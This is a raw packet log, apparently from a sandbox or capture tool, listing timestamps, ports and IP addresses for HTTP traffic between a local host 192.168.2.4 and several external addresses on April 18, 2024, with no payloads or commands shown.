Apr 18, 2024 23:40:07.171267033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171283007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171305895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171319962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171328068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171355963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171365023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171391964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171411037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171432018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171446085 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171468973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171488047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171504974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171525002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171541929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171576977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171581984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171603918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171613932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171627998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171649933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171667099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171685934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171715021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171721935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171736002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171758890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171770096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171794891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171812057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171830893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171849966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171866894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171888113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171905994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171931982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171941996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171952009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.171978951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.171989918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172019958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172030926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172055960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172094107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172138929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172138929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172159910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172198057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172233105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172265053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172267914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172283888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172306061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172321081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172343969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172367096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172389984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172472000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172497988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172511101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172525883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172528982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172540903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172554016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172557116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172557116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172565937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172575951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172578096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172590971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172600031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172600985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172612906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172624111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172625065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172626019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172636032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172650099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172658920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172660112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172663927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172676086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172677994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172688961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172698975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172699928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172712088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172720909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172723055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172734976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172738075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172746897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172758102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172761917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172761917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172770023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172780991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172780991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172791958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172805071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172816038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172827005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172832966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172832966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172832966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172838926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172849894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172862053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172861099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172873020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172883987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172888041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172888994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172897100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172909021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172911882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172919989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172930956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172930956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172943115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172955036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172959089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172966957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172977924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.172980070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.172990084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173001051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173006058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173006058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173012972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173023939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173024893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173034906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173039913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173047066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173058987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173067093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173067093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173069954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173082113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173094034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173098087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173099041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173105001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173116922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173122883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173122883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173127890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173141956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173146963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173161030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173170090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173170090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173173904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173186064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173197985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173206091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173206091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173209906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173221111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.173226118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173247099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.173263073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.235001087 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235243082 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235285044 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235322952 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235348940 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235366106 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235388994 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235403061 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235409975 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235440969 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235457897 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235477924 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235479116 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235516071 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235527992 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235557079 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235569000 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235594034 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235601902 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235632896 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235637903 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235672951 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235682964 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235711098 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235748053 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235759020 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235785961 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235824108 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235831976 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.235860109 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.235867023 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.236143112 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.374207020 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.375627995 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.375685930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.375854969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.395369053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.395382881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.395558119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.401904106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.401945114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.401982069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.401983023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.402009010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.402023077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.402045965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.402232885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403497934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403537989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403568983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403580904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403593063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403642893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403656006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403712988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403861046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403898954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403915882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403937101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403951883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.403976917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.403995991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.404032946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.414031029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.414100885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.414201021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.414239883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.414256096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.414282084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.414294004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.414338112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.419728041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.419766903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.419812918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.419845104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423465014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423504114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423531055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423538923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423547983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423577070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423588991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423615932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423634052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423654079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423664093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423691034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423707962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423727989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423738003 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423767090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423815966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423820972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423835993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423861027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423882961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423899889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.423908949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.423934937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:07.424077034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:07.619555950 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.620189905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.620270014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.622874022 CEST	80	49742	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.622967958 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.623210907 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:07.684665918 CEST	49723	80	192.168.2.4	72.21.81.240
Apr 18, 2024 23:40:07.684724092 CEST	49724	80	192.168.2.4	72.21.81.240
Apr 18, 2024 23:40:07.788247108 CEST	80	49723	72.21.81.240	192.168.2.4
Apr 18, 2024 23:40:07.788290977 CEST	80	49724	72.21.81.240	192.168.2.4
Apr 18, 2024 23:40:07.788316965 CEST	49723	80	192.168.2.4	72.21.81.240
Apr 18, 2024 23:40:07.788383007 CEST	49724	80	192.168.2.4	72.21.81.240
Apr 18, 2024 23:40:07.870337009 CEST	80	49742	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.874691010 CEST	80	49742	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:07.874746084 CEST	49742	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.145734072 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.146032095 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.391537905 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:08.392288923 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.395788908 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:08.395884037 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.396150112 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.642800093 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:08.645564079 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:08.645670891 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:08.669585943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:08.670111895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:08.919951916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:08.920059919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:08.920157909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:08.920198917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:08.920381069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.169962883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170232058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170250893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170269012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170288086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170284986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.170305967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170316935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.170325994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170344114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170351028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.170361996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170372009 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.170382023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170398951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.170403004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.170424938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.170444965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.419998884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420042038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420057058 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420152903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420190096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420209885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420228958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420238972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420269012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420269966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420310020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420348883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420351982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420387983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420416117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420438051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420442104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420480013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420483112 CEST	49744	80	192.168.2.4	193.233.132.167
